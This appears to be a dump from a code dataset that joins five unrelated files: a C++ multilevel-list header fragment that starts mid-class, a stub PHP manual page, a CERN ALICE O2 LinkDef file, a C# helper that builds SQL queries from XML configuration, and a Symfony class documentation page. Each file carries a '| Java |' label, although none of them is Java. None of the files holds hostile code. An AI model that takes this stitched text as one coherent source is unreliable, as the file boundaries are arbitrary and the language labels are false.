{ return !modifiable_ ? const_LevelStarts_[StdLevel( lvl)] : LevelViews_[StdLevel( lvl)]->begin(); }
const_iterator level_end (int lvl) const
{ return !modifiable_ ? const_LevelStarts_[StdLevel( lvl) + 1] : LevelViews_[StdLevel( lvl)]->end(); }
// Split Data_ into level-wise lists in LevelViews_ or merge LevelViews_ into Data_.
void PrepareModify();
void FinalizeModify();
void AppendLevel();
void RemoveLastLevel();
LevelCont& // Only usable, if modifiable_ == true
operator[] (int lvl) {
Assert( modifiable_, DROPSErrCL("GlobalListCL::operator[]: "
"Data not modifiable."), DebugContainerC );
return *LevelViews_[StdLevel( lvl)];
}
};
template <class T>
void // Split Data_ into level-wise lists in LevelViews_.
GlobalListCL<T>::PrepareModify()
{
Assert( !modifiable_, DROPSErrCL("GlobalListCL::PrepareModify:"
"Data is already modifiable."), DebugContainerC );
Assert( LevelViews_.empty(), DROPSErrCL("GlobalListCL::PrepareModify:"
"Inconsistent LevelViews_."), DebugContainerC );
LevelViews_.resize( GetNumLevel());
for (Uint lvl= 0, numlvl= GetNumLevel(); lvl < numlvl; ++lvl) {
LevelViews_[lvl]= new LevelCont();
LevelViews_[lvl]->splice( LevelViews_[lvl]->end(), Data_,
level_begin( lvl), level_begin( lvl+1));
}
LevelStarts_.clear();
const_LevelStarts_.clear();
Assert( Data_.empty(), DROPSErrCL("GlobalListCL::PrepareModify: "
"Did not move all Data."), DebugContainerC );
modifiable_= true;
}
template <class T>
void // Merge LevelViews_ into Data_.
GlobalListCL<T>::FinalizeModify()
{
Assert( modifiable_,
DROPSErrCL("GlobalListCL::FinalizeModify: Data is not modifiable."),
DebugContainerC );
Assert( LevelStarts_.empty(),
DROPSErrCL("GlobalListCL::FinalizeModify: Inconsistent LevelStarts_."),
DebugContainerC );
Assert( Data_.empty(), DROPSErrCL("GlobalListCL::FinalizeModify:"
"Inconsistent Data_."), DebugContainerC );
modifiable_= false;
if (LevelViews_.empty()) return;
LevelStarts_.resize( LevelViews_.size() + 1);
LevelStarts_[LevelViews_.size()]= Data_.end();
const_LevelStarts_.resize( LevelViews_.size() + 1);
const_LevelStarts_[LevelViews_.size()]= Data_.end();
for (Uint lvl= LevelViews_.size(); lvl > 0; --lvl) {
Data_.splice( Data_.begin(), *LevelViews_[lvl-1]);
LevelStarts_[lvl-1]= Data_.begin();
const_LevelStarts_[lvl-1]= Data_.begin();
Assert( LevelViews_[lvl-1]->empty(),
DROPSErrCL("GlobalListCL::FinalizeModify: Did not move all Data."),
DebugContainerC );
delete LevelViews_[lvl-1];
}
LevelViews_.clear();
}
template <class T>
void
GlobalListCL<T>::AppendLevel()
{
Assert( modifiable_, DROPSErrCL("GlobalListCL::AppendLevel: "
"Data not modifiable."), DebugContainerC );
LevelViews_.push_back( new LevelCont());
}
template <class T>
void
GlobalListCL<T>::RemoveLastLevel()
{
Assert( modifiable_, DROPSErrCL("GlobalListCL::RemoveLast: "
"Data not modifiable."), DebugContainerC );
Assert( LevelViews_.size() > 0, DROPSErrCL("GlobalListCL: RemoveLastLevel: "
"There are no levels to be removed."), DebugContainerC);
Assert( LevelViews_.back()->empty(), DROPSErrCL("GlobalListCL: RemoveLastLevel: "
"Last level not empty"), DebugContainerC);
delete LevelViews_.back();
LevelViews_.pop_back();
}
//**************************************************************************
// Class: MLDataCL *
//**************************************************************************
template <class T>
class MLDataCL : public std::list<T>
{
public:
explicit MLDataCL ()
: std::list<T>() {}
explicit MLDataCL (size_t n, const T& val= T())
: std::list<T>( n, val) {}
T& GetFinest() { return this->back(); }
T& GetCoarsest() { return this->front(); }
T* GetFinestPtr() { return &this->back(); }
T* GetCoarsestPtr() { return &this->front(); }
const T& GetFinest() const { return this->back(); }
const T& GetCoarsest() const { return this->front(); }
const T* GetFinestPtr() const { return &this->back(); }
const T* GetCoarsestPtr() const { return &this->front(); }
typename MLDataCL::iterator GetFinestIter() { return --this->end(); }
typename MLDataCL::const_iterator GetFinestIter() const { return --this->end(); }
typename MLDataCL::iterator GetCoarsestIter() { return this->begin(); }
typename MLDataCL::const_iterator GetCoarsestIter() const { return this->begin(); }
};
///\brief Designates the part of the domain, usually on tetras at the interface, one is interested in.
enum TetraSignEnum { AllTetraC, NegTetraC, PosTetraC };
} // end of namespace DROPS
#endif
| Java |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<title>The transformDistance purpose</title>
</head>
<body><div class="manualnavbar" style="text-align: center;">
<div class="prev" style="text-align: left; float: left;"><a href="cairomatrix.scale.html">CairoMatrix::scale</a></div>
<div class="next" style="text-align: right; float: right;"><a href="cairomatrix.transformpoint.html">CairoMatrix::transformPoint</a></div>
<div class="up"><a href="class.cairomatrix.html">CairoMatrix</a></div>
<div class="home"><a href="index.html">PHP Manual</a></div>
</div><hr /><div id="cairomatrix.transformdistance" class="refentry">
<div class="refnamediv">
<h1 class="refname">CairoMatrix::transformDistance</h1>
<p class="verinfo">(PECL cairo >= 0.1.0)</p><p class="refpurpose"><span class="refname">CairoMatrix::transformDistance</span> — <span class="dc-title">The transformDistance purpose</span></p>
</div>
<div class="refsect1 description" id="refsect1-cairomatrix.transformdistance-description">
<h3 class="title">Description</h3>
<div class="methodsynopsis dc-description">
<span class="modifier">public</span> <span class="type">array</span> <span class="methodname"><strong>CairoMatrix::transformDistance</strong></span>
( <span class="methodparam"><span class="type">string</span> <code class="parameter">$dx</code></span>
, <span class="methodparam"><span class="type">string</span> <code class="parameter">$dy</code></span>
)</div>
<p class="para rdfs-comment">
The method description goes here.
</p>
<div class="warning"><strong class="warning">Warning</strong><p class="simpara">This function is
currently not documented; only its argument list is available.
</p></div>
</div>
<div class="refsect1 parameters" id="refsect1-cairomatrix.transformdistance-parameters">
<h3 class="title">Parameters</h3>
<p class="para">
<dl>
<dt>
<code class="parameter">dx</code></dt>
<dd>
<p class="para">
Description...
</p>
</dd>
<dt>
<code class="parameter">dy</code></dt>
<dd>
<p class="para">
Description...
</p>
</dd>
</dl>
</p>
</div>
<div class="refsect1 returnvalues" id="refsect1-cairomatrix.transformdistance-returnvalues">
<h3 class="title">Return Values</h3>
<p class="para">
Description...
</p>
</div>
<div class="refsect1 examples" id="refsect1-cairomatrix.transformdistance-examples">
<h3 class="title">Examples</h3>
<p class="para">
<div class="example" id="example-3249">
<p><strong>Example #1 <span class="methodname"><strong>CairoMatrix::transformDistance()</strong></span> example</strong></p>
<div class="example-contents">
<div class="phpcode"><code><span style="color: #000000">
<span style="color: #0000BB"><?php<br /></span><span style="color: #FF8000">/* ... */<br /></span><span style="color: #0000BB">?></span>
</span>
</code></div>
</div>
<div class="example-contents"><p>The above example will output
something similar to:</p></div>
<div class="example-contents screen">
<div class="cdata"><pre>
...
</pre></div>
</div>
</div>
</p>
</div>
<div class="refsect1 seealso" id="refsect1-cairomatrix.transformdistance-seealso">
<h3 class="title">See Also</h3>
<p class="para">
<ul class="simplelist">
<li class="member"><span class="methodname"><strong>Classname::Method()</strong></span></li>
</ul>
</p>
</div>
</div><hr /><div class="manualnavbar" style="text-align: center;">
<div class="prev" style="text-align: left; float: left;"><a href="cairomatrix.scale.html">CairoMatrix::scale</a></div>
<div class="next" style="text-align: right; float: right;"><a href="cairomatrix.transformpoint.html">CairoMatrix::transformPoint</a></div>
<div class="up"><a href="class.cairomatrix.html">CairoMatrix</a></div>
<div class="home"><a href="index.html">PHP Manual</a></div>
</div></body></html>
| Java |
// Copyright CERN and copyright holders of ALICE O2. This software is
// distributed under the terms of the GNU General Public License v3 (GPL
// Version 3), copied verbatim in the file "COPYING".
//
// See http://alice-o2.web.cern.ch/license for full licensing information.
//
// In applying this license CERN does not waive the privileges and immunities
// granted to it by virtue of its status as an Intergovernmental Organization
// or submit itself to any jurisdiction.
/********************************************************************************
* Copyright (C) 2014 GSI Helmholtzzentrum fuer Schwerionenforschung GmbH *
* *
* This software is distributed under the terms of the *
* GNU Lesser General Public Licence version 3 (LGPL) version 3, *
* copied verbatim in the file "LICENSE" *
********************************************************************************/
#ifdef __CLING__
#pragma link off all globals;
#pragma link off all classes;
#pragma link off all functions;
#pragma link C++ class o2::parameters::GRPObject + ;
#endif
| Java |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Serialization;
using System.IO;
using System.Configuration;
using System.Security.Cryptography;
using System.Xml;
using Nesoft.Utility.DataAccess.Database.Config;
using Nesoft.Utility.DataAccess.Database;
using System.Data;
namespace Nesoft.Utility.DataAccess.RealTime
{
internal static class ConfigHelper
{
private static XmlNode[] GetChildrenNodes(XmlNode node, string nodeName)
{
return GetChildrenNodes(node, delegate(XmlNode child)
{
return child.Name == nodeName;
});
}
private static XmlNode[] GetChildrenNodes(XmlNode node, Predicate<XmlNode> match)
{
if (node == null || node.ChildNodes == null || node.ChildNodes.Count <= 0)
{
return new XmlNode[0];
}
List<XmlNode> nodeList = new List<XmlNode>(node.ChildNodes.Count);
foreach (XmlNode child in node.ChildNodes)
{
if (match(child))
{
nodeList.Add(child);
}
}
return nodeList.ToArray();
}
private static string GetNodeAttribute(XmlNode node, string attributeName)
{
if (node.Attributes == null
|| node.Attributes[attributeName] == null
|| node.Attributes[attributeName].Value == null
|| node.Attributes[attributeName].Value.Trim() == string.Empty)
{
return string.Empty;
}
return node.Attributes[attributeName].Value.Trim();
}
private static string GetConfigPath()
{
string path = ConfigurationManager.AppSettings["RealTimeConfigFilePath"];
if (path == null || path.Trim().Length <= 0)
{
return Path.Combine(AppDomain.CurrentDomain.SetupInformation.ApplicationBase, "Configuration/RealTime.config");
}
string p = Path.GetPathRoot(path);
if (p == null || p.Trim().Length <= 0) // 说明是相对路径
{
path = Path.Combine(AppDomain.CurrentDomain.SetupInformation.ApplicationBase, path);
}
return path;
}
//internal static List<RealTimeExtensionConfig> GetExtensionConfig()
//{
// List<RealTimeExtensionConfig> list = new List<RealTimeExtensionConfig>();
// string path = GetConfigPath();
// if (!File.Exists(path))
// {
// return list;
// }
// XmlDocument x = new XmlDocument();
// x.Load(path);
// XmlNode node = x.SelectSingleNode(@"//extensions");
// if (node == null || node.ChildNodes == null || node.ChildNodes.Count <= 0)
// {
// return list;
// }
// XmlNode[] eventList = GetChildrenNodes(node, "data");
// foreach (XmlNode ev in eventList)
// {
// string name = GetNodeAttribute(ev, "name");
// string dataType = GetNodeAttribute(ev, "type");
// string extensionType = GetNodeAttribute(ev, "extensionType");
// RealTimeExtensionConfig config = new RealTimeExtensionConfig();
// config.Name = name;
// config.DataType = dataType;
// config.ExtensionType = extensionType;
// list.Add(config);
// }
// return list;
//}
//internal static RealTimeExtensionConfig GetExtensionConfig(string dataName)
//{
// var list = GetExtensionConfig();
// if (list != null)
// {
// return list.FirstOrDefault(p => p.Name.Trim().ToUpper() == dataName.Trim().ToUpper());
// }
// return null;
//}
internal static List<RealTimeMethod> GetRealTimeConfig()
{
List<RealTimeMethod> list = new List<RealTimeMethod>();
string path = GetConfigPath();
if (!File.Exists(path))
{
return list;
}
XmlDocument x = new XmlDocument();
x.Load(path);
XmlNode node = x.SelectSingleNode(@"//realTime");
if (node == null || node.ChildNodes == null || node.ChildNodes.Count <= 0)
{
return list;
}
XmlNode[] eventList = GetChildrenNodes(node, "query");
foreach (XmlNode ev in eventList)
{
string dataType = GetNodeAttribute(ev, "dataType");
string queryName = GetNodeAttribute(ev, "name");
//string tableName = GetNodeAttribute(ev, "tableName");
//string primaryField = GetNodeAttribute(ev, "primaryField");
RealTimeMethod query = new RealTimeMethod
{
Name = queryName,
DataType = dataType,
//TableName = tableName,
//PrimaryField = primaryField,
FilterFields = new List<FilterField>(),
ReturnFields = new List<ReturnField>()
};
list.Add(query);
XmlNode filterFieldsNode = ev.SelectSingleNode("filterFields");
XmlNode[] filterFields = GetChildrenNodes(filterFieldsNode,"field");
foreach (XmlNode no in filterFields)
{
string name = GetNodeAttribute(no, "name");
string valuePath = GetNodeAttribute(no, "valuePath");
string relationType = GetNodeAttribute(no, "relationType");
string operatorType = GetNodeAttribute(no, "operatorType");
string dbType = GetNodeAttribute(no, "dbType");
FilterField filed = new FilterField
{
Name = name,
ValuePath = valuePath,
OperatorType = operatorType,
RelationType = relationType,
DBType = dbType
};
query.FilterFields.Add(filed);
}
XmlNode returnFieldsNode = ev.SelectSingleNode("returnFields");
XmlNode[] returnFields = GetChildrenNodes(returnFieldsNode, "field");
foreach (XmlNode no in returnFields)
{
string name = GetNodeAttribute(no, "name");
string valuePath = GetNodeAttribute(no, "valuePath");
string dbType = GetNodeAttribute(no, "dbType");
ReturnField filed = new ReturnField
{
Name = name,
ValuePath = valuePath,
DBType = dbType
};
query.ReturnFields.Add(filed);
}
}
return list;
}
internal static RealTimeMethod GetRealTimeConfig(string name)
{
var list = GetRealTimeConfig();
if (list != null)
{
return list.FirstOrDefault(p => p.Name.Trim().ToUpper() == name.Trim().ToUpper());
}
return null;
}
internal static IRealTimePersister GetDefaultPersiter()
{
return PersisteFactory.GetInstance();
}
}
public static class RealTimeHelper
{
private static string loadDataSql = @"
SELECT
#XmlFields#
FROM EcommerceRealtime.dbo.RealTimeData r WITH(NOLOCK)
#StrWhere#
UNION ALL
#InputSql#";
private static string loadPagingDataSql = @"
SELECT @TotalCount = COUNT(1)
FROM (
SELECT
#XmlFields#
FROM EcommerceRealtime.dbo.RealTimeData r WITH(NOLOCK)
#StrWhere#
UNION ALL
#InputSql#
) result
SELECT
#Columns#
FROM(
SELECT TOP (@EndNumber)
ROW_NUMBER() OVER(ORDER BY #SortColumnName#) AS RowNumber,
#Columns#
FROM
(
SELECT
#XmlFields#
FROM EcommerceRealtime.dbo.RealTimeData r WITH(NOLOCK)
#StrWhere#
UNION ALL
#InputSql#
) unionResult ) result
WHERE RowNumber > @StartNumber
";
// private static string excludeDataSql = @"NOT EXISTS(
// SELECT TOP 1 1
// FROM #TableName# t WITH(NOLOCK)
// WHERE r.Key = t.#PrimaryKey#)";
/// <summary>
/// 获取属性数据类型
/// </summary>
/// <param name="pro"></param>
/// <param name="property"></param>
/// <param name="propertyNameIgnoreCase"></param>
/// <param name="skipNotExistProperty"></param>
/// <returns></returns>
//private static Type GetPropertyType(object pro, string property, bool propertyNameIgnoreCase, bool skipNotExistProperty)
//{
// Type type = null;
// string[] pNames = property.Split(new char[] { '.' }, StringSplitOptions.RemoveEmptyEntries);
// //object val = DataMapper.ConvertIfEnum(reader[i], typeof(T), pNames, propertyNameIgnoreCase, skipNotExistProperty);
// int index = 0;
// foreach (string propertyName in pNames)
// {
// if (!Invoker.ExistPropertySet(pro.GetType(), propertyName, propertyNameIgnoreCase))
// {
// if (!skipNotExistProperty)
// {
// throw new ApplicationException("There is no public instance property that can be set '" + propertyName + "' in type '" + pro.GetType().FullName + "'");
// }
// break;
// }
// // 根据property的值(不区分大小写)找到在pro对象的类型中的属性的名称
// string realName = Invoker.GetPropertyNameIgnoreCase(pro.GetType(), propertyName);
// if (realName == null || (realName != propertyName && !propertyNameIgnoreCase))
// // realName == null 说明pro对象的类型中不存在名为property变量值的属性
// // realName != propertyName 说明存在属性,但属性名与输入的值的大小写不一致
// {
// if (!skipNotExistProperty)
// {
// throw new ApplicationException("There is no public instance property that can be set '" + propertyName + "' in type '" + pro.GetType().FullName + "'");
// }
// break;
// }
// if (index == pNames.Length - 1)
// {
// type = Invoker.GetPropertyType(pro.GetType(), realName);
// }
// else
// {
// object tmp = null;
// if (Invoker.ExistPropertyGet(pro.GetType(), realName))
// {
// tmp = Invoker.PropertyGet(pro, realName);
// }
// if (tmp == null)
// {
// type = Invoker.GetPropertyType(pro.GetType(), realName, false, false);
// }
// pro = tmp;
// }
// index++;
// }
// return type;
//}
//private static string GetDBTypeStr(Type type)
//{
// if (type.IsGenericType && type.GetGenericTypeDefinition() == typeof(Nullable<>))
// {
// type = type.GetGenericArguments()[0];
// }
// TypeCode code = Type.GetTypeCode(type);
// switch (code)
// {
// case TypeCode.Boolean:
// return "bit";
// case TypeCode.Int16:
// return "smallint";
// case TypeCode.Int32:
// return "int";
// case TypeCode.Int64:
// return "bigint";
// case TypeCode.String:
// case TypeCode.Char:
// return "nvarchar(max)";
// case TypeCode.Decimal:
// return "decimal(19,6)";
// case TypeCode.Double:
// return "double(19,6)";
// case TypeCode.DateTime:
// return "datetime";
// default:
// return "nvarchar(max)";
// }
//}
//private static System.Data.DbType GetDbType(Type type)
//{
// if (type.IsGenericType && type.GetGenericTypeDefinition() == typeof(Nullable<>))
// {
// type = type.GetGenericArguments()[0];
// }
// TypeCode code = Type.GetTypeCode(type);
// switch (code)
// {
// case TypeCode.Boolean:
// return DbType.Boolean;
// case TypeCode.Int16:
// return DbType.Int16;
// case TypeCode.Int32:
// return DbType.Int32;
// case TypeCode.Int64:
// return DbType.Int64;
// case TypeCode.String:
// return DbType.String;
// case TypeCode.Char:
// return DbType.AnsiStringFixedLength;
// case TypeCode.Decimal:
// return DbType.Decimal;
// case TypeCode.Double:
// return DbType.Double;
// case TypeCode.DateTime:
// return DbType.DateTime;
// default:
// return DbType.String;
// }
//}
/// <summary>
/// 根据配置文件中的Sql数据类型获取DbType
/// </summary>
/// <param name="sqlTypeString"></param>
/// <returns></returns>
private static DbType GetDbType(string sqlTypeString)
{
sqlTypeString = sqlTypeString.Trim();
if (sqlTypeString.Contains("("))
{
sqlTypeString = sqlTypeString.Substring(0, sqlTypeString.IndexOf("("));
}
switch (sqlTypeString)
{
case "bigint":
return DbType.Int64;
case "binary":
return DbType.Binary;
case "bit":
return DbType.Boolean;
case "char":
return DbType.AnsiStringFixedLength;
case "date":
return DbType.Date;
case "datetime":
return DbType.DateTime;
case "datetime2":
return DbType.DateTime2;
case "datetimeoffset":
return DbType.DateTimeOffset;
case "decimal":
return DbType.Decimal;
case "filestream":
return DbType.Binary;
case "float":
return DbType.Double;
case "image":
return DbType.Binary;
case "int":
return DbType.Int32;
case "money":
return DbType.Decimal;
case "nchar":
return DbType.StringFixedLength;
case "ntext":
return DbType.String;
case "numeric":
return DbType.Decimal;
case "nvarchar":
return DbType.String;
case "real":
return DbType.Single;
case "rowversion":
return DbType.Binary;
case "smalldatetime":
return DbType.DateTime;
case "smallint":
return DbType.Int16;
case "smallmoney":
return DbType.Decimal;
case "sql_variant":
return DbType.Object;
case "text":
return DbType.String;
case "time":
return DbType.Time;
case "timestamp":
return DbType.Binary;
case "tinyint":
return DbType.Byte;
case "uniqueidentifier":
return DbType.Guid;
case "varbinary":
return DbType.Binary;
case "varchar":
return DbType.AnsiString;
case "xml":
return DbType.Xml;
default:
throw new ArgumentException("Invalid sql dbtype.");
}
}
private static T GetEnum<T>(string name) where T : struct
{
T result = default(T);
bool flag = Enum.TryParse<T>(name, out result);
if (flag)
{
return result;
}
throw new ArgumentException("Invalid value of enum {0}", typeof(T).Name);
}
private static void BuilCondition<Q>(Q filter, string dataType, List<FilterField> filterFields, DynamicQuerySqlBuilder sqlBuilder)
{
sqlBuilder.ConditionConstructor.AddCondition(QueryConditionRelationType.AND, "r.BusinessDataType", DbType.String, "@BusinessDataType", QueryConditionOperatorType.Equal, dataType);
List<string> changeTypes = new List<string>() { "A", "U" };
sqlBuilder.ConditionConstructor.AddInCondition(QueryConditionRelationType.AND, "r.ChangeType", DbType.String, changeTypes);
int index = 0;
filterFields.ForEach(p =>
{
object parameterValue = Invoker.PropertyGet(filter, p.Name);
string[] pNames = p.ValuePath.Split(new char[] { '.' }, StringSplitOptions.RemoveEmptyEntries);
string path = string.Format("(//{0}/text())[1]", pNames.Join("/"));
DbType dbType = GetDbType(p.DBType);
string field = string.Format("r.BusinessData.value('{0}','{1}')", path, p.DBType);
QueryConditionOperatorType operatorType = GetEnum<QueryConditionOperatorType>(p.OperatorType);
QueryConditionRelationType relationType = GetEnum<QueryConditionRelationType>(p.RelationType);
sqlBuilder.ConditionConstructor.AddCondition(relationType,
field, dbType, "@Parameter" + index.ToString(), operatorType, parameterValue);
index++;
});
}
private static void BuildColumns(List<ReturnField> returnFields, out string xmlFields, out List<string> columns)
{
StringBuilder fields = new StringBuilder();
var cols = new List<string>();
returnFields.ForEach(p =>
{
cols.Add(string.Format("[{0}]", p.Name));
string[] pNames = p.ValuePath.Split(new char[] { '.' }, StringSplitOptions.RemoveEmptyEntries);
string path = string.Format("(//{0}/text())[1]", pNames.Join("/"));
fields.AppendFormat("r.BusinessData.value('{0}','{1}') AS [{2}],", path, p.DBType, p.Name);
});
fields.Remove(fields.Length - 1, 1);
xmlFields = fields.ToString();
columns = cols;
}
public static void Persiste<T>(RealTimeData<T> data) where T : class
{
ConfigHelper.GetDefaultPersiter().Persiste<T>(data);
}
public static object LoadData(int key)
{
return null;
}
public static T LoadData<T>(int key) where T : class, new()
{
//查询RealTime表中的数据
return default(T);
}
/// <summary>
/// 查询数据不分页
/// </summary>
/// <typeparam name="Q"></typeparam>
/// <typeparam name="T"></typeparam>
/// <param name="command"></param>
/// <param name="filter"></param>
/// <returns></returns>
public static List<T> QueryData<Q, T>(CustomDataCommand command, Q filter, string configName) where T : class, new()
{
var config = ConfigHelper.GetRealTimeConfig(configName);
string xmlFields;
List<string> columns;
BuildColumns(config.ReturnFields, out xmlFields, out columns);
var cmd = DataCommandManager.CreateCustomDataCommandFromSql(loadDataSql, command.DatabaseAliasName);
using (DynamicQuerySqlBuilder sqlBuilder = new DynamicQuerySqlBuilder(cmd, "SysNo desc"))
{
BuilCondition<Q>(filter, config.DataType, config.FilterFields, sqlBuilder);
cmd.CommandText = sqlBuilder.BuildQuerySql();
cmd.CommandText = cmd.CommandText.Replace("#XmlFields#", xmlFields.ToString());
cmd.CommandText = cmd.CommandText.Replace("#InputSql#", command.CommandText);
var list = cmd.ExecuteEntityList<T>();
return list;
}
}
/// <summary>
/// 查询数据并分页
/// </summary>
/// <typeparam name="Q"></typeparam>
/// <typeparam name="T"></typeparam>
/// <param name="command"></param>
/// <param name="filter"></param>
/// <param name="needRealTime"></param>
/// <param name="pageIndex"></param>
/// <param name="pageSize"></param>
/// <param name="sortField"></param>
/// <param name="totalCount"></param>
/// <returns></returns>
public static List<T> QueryData<Q, T>(CustomDataCommand command, Q filter, string configName,
PagingInfoEntity pagingInfo, out int totalCount) where T : class, new()
{
pagingInfo.SortField = "[SOMaster.SOSysNo]";
if (string.IsNullOrEmpty(pagingInfo.SortField))
{
throw new ApplicationException("You must specified one sort field at least.");
}
var config = ConfigHelper.GetRealTimeConfig(configName);
string xmlFields;
List<string> columns;
BuildColumns(config.ReturnFields, out xmlFields, out columns);
var cmd = DataCommandManager.CreateCustomDataCommandFromSql(loadPagingDataSql, command.DatabaseAliasName);
using (DynamicQuerySqlBuilder sqlBuilder = new DynamicQuerySqlBuilder(cmd, pagingInfo, pagingInfo.SortField))
{
BuilCondition<Q>(filter, config.DataType, config.FilterFields, sqlBuilder);
cmd.CommandText = sqlBuilder.BuildQuerySql();
//把传入的参数添加到组合后的DataCommand中
//command.DbParameterList.ForEach(p =>
//{
// var param = cmd.DbParameterList.FirstOrDefault(k => k.ParameterName.Trim().ToUpper() == p.ParameterName.Trim().ToUpper());
// if (param == null)
// {
// cmd.AddInputParameter(p.ParameterName, p.DbType, p.Value);
// }
//});
cmd.CommandText = cmd.CommandText.Replace("#Columns#", columns.Join(","));
cmd.CommandText = cmd.CommandText.Replace("#XmlFields#", xmlFields.ToString());
cmd.CommandText = cmd.CommandText.Replace("#InputSql#", command.CommandText);
var list = cmd.ExecuteEntityList<T>();
totalCount = Convert.ToInt32(cmd.GetParameterValue("@TotalCount"));
return list;
}
}
}
} | Java |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="robots" content="index, follow, all" />
<title>Symfony\Bridge\Doctrine\Form\ChoiceList\EntityChoiceList | </title>
<link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css">
</head>
<body id="class">
<div class="header">
<ul>
<li><a href="../../../../../classes.html">Classes</a></li>
<li><a href="../../../../../namespaces.html">Namespaces</a></li>
<li><a href="../../../../../interfaces.html">Interfaces</a></li>
<li><a href="../../../../../traits.html">Traits</a></li>
<li><a href="../../../../../doc-index.html">Index</a></li>
</ul>
<div id="title"></div>
<div class="type">Class</div>
<h1><a href="../ChoiceList.html">Symfony\Bridge\Doctrine\Form\ChoiceList</a>\EntityChoiceList</h1>
</div>
<div class="content">
<p> class
<strong>EntityChoiceList</strong> extends <a href="../../../../Component/Form/Extension/Core/ChoiceList/ObjectChoiceList.html"><abbr title="Symfony\Component\Form\Extension\Core\ChoiceList\ObjectChoiceList">ObjectChoiceList</abbr></a></p>
<div class="description">
<p>A choice list presenting a list of Doctrine entities as choices</p>
<p>
</p>
</div>
<h2>Methods</h2>
<table>
<tr>
<td class="type">
</td>
<td class="last">
<a href="EntityChoiceList.html#method___construct">__construct</a>(<abbr title="Doctrine\Common\Persistence\ObjectManager">ObjectManager</abbr> $manager, string $class, string $labelPath = null, <a href="EntityLoaderInterface.html"><abbr title="Symfony\Bridge\Doctrine\Form\ChoiceList\EntityLoaderInterface">EntityLoaderInterface</abbr></a> $entityLoader = null, array|<a href="http://php.net/Traversable"><abbr title="Traversable">Traversable</abbr></a>|null $entities = null, array $preferredEntities = array(), string $groupPath = null, <a href="../../../../Component/PropertyAccess/PropertyAccessorInterface.html"><abbr title="Symfony\Component\PropertyAccess\PropertyAccessorInterface">PropertyAccessorInterface</abbr></a> $propertyAccessor = null)
<p>Creates a new entity choice list.</p>
</td>
<td></td>
</tr>
<tr>
<td class="type">
array
</td>
<td class="last">
<a href="EntityChoiceList.html#method_getChoices">getChoices</a>()
<p>Returns the list of entities</p>
</td>
<td></td>
</tr>
<tr>
<td class="type">
array
</td>
<td class="last">
<a href="EntityChoiceList.html#method_getValues">getValues</a>()
<p>Returns the values for the entities</p>
</td>
<td></td>
</tr>
<tr>
<td class="type">
array
</td>
<td class="last">
<a href="EntityChoiceList.html#method_getPreferredViews">getPreferredViews</a>()
<p>Returns the choice views of the preferred choices as nested array with the choice groups as top-level keys.</p>
</td>
<td></td>
</tr>
<tr>
<td class="type">
array
</td>
<td class="last">
<a href="EntityChoiceList.html#method_getRemainingViews">getRemainingViews</a>()
<p>Returns the choice views of the choices that are not preferred as nested array with the choice groups as top-level keys.</p>
</td>
<td></td>
</tr>
<tr>
<td class="type">
array
</td>
<td class="last">
<a href="EntityChoiceList.html#method_getChoicesForValues">getChoicesForValues</a>(array $values)
<p>Returns the entities corresponding to the given values.</p>
</td>
<td></td>
</tr>
<tr>
<td class="type">
array
</td>
<td class="last">
<a href="EntityChoiceList.html#method_getValuesForChoices">getValuesForChoices</a>(array $entities)
<p>Returns the values corresponding to the given entities.</p>
</td>
<td></td>
</tr>
<tr>
<td class="type">
array
</td>
<td class="last">
<a href="EntityChoiceList.html#method_getIndicesForChoices">getIndicesForChoices</a>(array $entities)
<p>Returns the indices corresponding to the given entities.</p>
</td>
<td></td>
</tr>
<tr>
<td class="type">
array
</td>
<td class="last">
<a href="EntityChoiceList.html#method_getIndicesForValues">getIndicesForValues</a>(array $values)
<p>Returns the entities corresponding to the given values.</p>
</td>
<td></td>
</tr>
</table>
<h2>Details</h2>
<h3 id="method___construct">
<div class="location">at line 101</div>
<code> public
<strong>__construct</strong>(<abbr title="Doctrine\Common\Persistence\ObjectManager">ObjectManager</abbr> $manager, string $class, string $labelPath = null, <a href="EntityLoaderInterface.html"><abbr title="Symfony\Bridge\Doctrine\Form\ChoiceList\EntityLoaderInterface">EntityLoaderInterface</abbr></a> $entityLoader = null, array|<a href="http://php.net/Traversable"><abbr title="Traversable">Traversable</abbr></a>|null $entities = null, array $preferredEntities = array(), string $groupPath = null, <a href="../../../../Component/PropertyAccess/PropertyAccessorInterface.html"><abbr title="Symfony\Component\PropertyAccess\PropertyAccessorInterface">PropertyAccessorInterface</abbr></a> $propertyAccessor = null)</code>
</h3>
<div class="details">
<p>Creates a new entity choice list.</p>
<p>
</p>
<div class="tags">
<h4>Parameters</h4>
<table>
<tr>
<td><abbr title="Doctrine\Common\Persistence\ObjectManager">ObjectManager</abbr></td>
<td>$manager</td>
<td>An EntityManager instance</td>
</tr>
<tr>
<td>string</td>
<td>$class</td>
<td>The class name</td>
</tr>
<tr>
<td>string</td>
<td>$labelPath</td>
<td>The property path used for the label</td>
</tr>
<tr>
<td><a href="EntityLoaderInterface.html"><abbr title="Symfony\Bridge\Doctrine\Form\ChoiceList\EntityLoaderInterface">EntityLoaderInterface</abbr></a></td>
<td>$entityLoader</td>
<td>An optional query builder</td>
</tr>
<tr>
<td>array|<a href="http://php.net/Traversable"><abbr title="Traversable">Traversable</abbr></a>|null</td>
<td>$entities</td>
<td>An array of choices or null to lazy load</td>
</tr>
<tr>
<td>array</td>
<td>$preferredEntities</td>
<td>An array of preferred choices</td>
</tr>
<tr>
<td>string</td>
<td>$groupPath</td>
<td>A property path pointing to the property used to group the choices. Only allowed if the choices are given as flat array.</td>
</tr>
<tr>
<td><a href="../../../../Component/PropertyAccess/PropertyAccessorInterface.html"><abbr title="Symfony\Component\PropertyAccess\PropertyAccessorInterface">PropertyAccessorInterface</abbr></a></td>
<td>$propertyAccessor</td>
<td>The reflection graph for reading property paths.</td>
</tr>
</table>
</div>
</div>
<h3 id="method_getChoices">
<div class="location">at line 137</div>
<code> public array
<strong>getChoices</strong>()</code>
</h3>
<div class="details">
<p>Returns the list of entities</p>
<p>
</p>
<div class="tags">
<h4>Return Value</h4>
<table>
<tr>
<td>array</td>
<td>The choices with their indices as keys</td>
</tr>
</table>
<h4>See also</h4>
<table>
<tr>
<td>Symfony\Component\Form\Extension\Core\ChoiceList\ChoiceListInterface</td>
<td></td>
</tr>
</table>
</div>
</div>
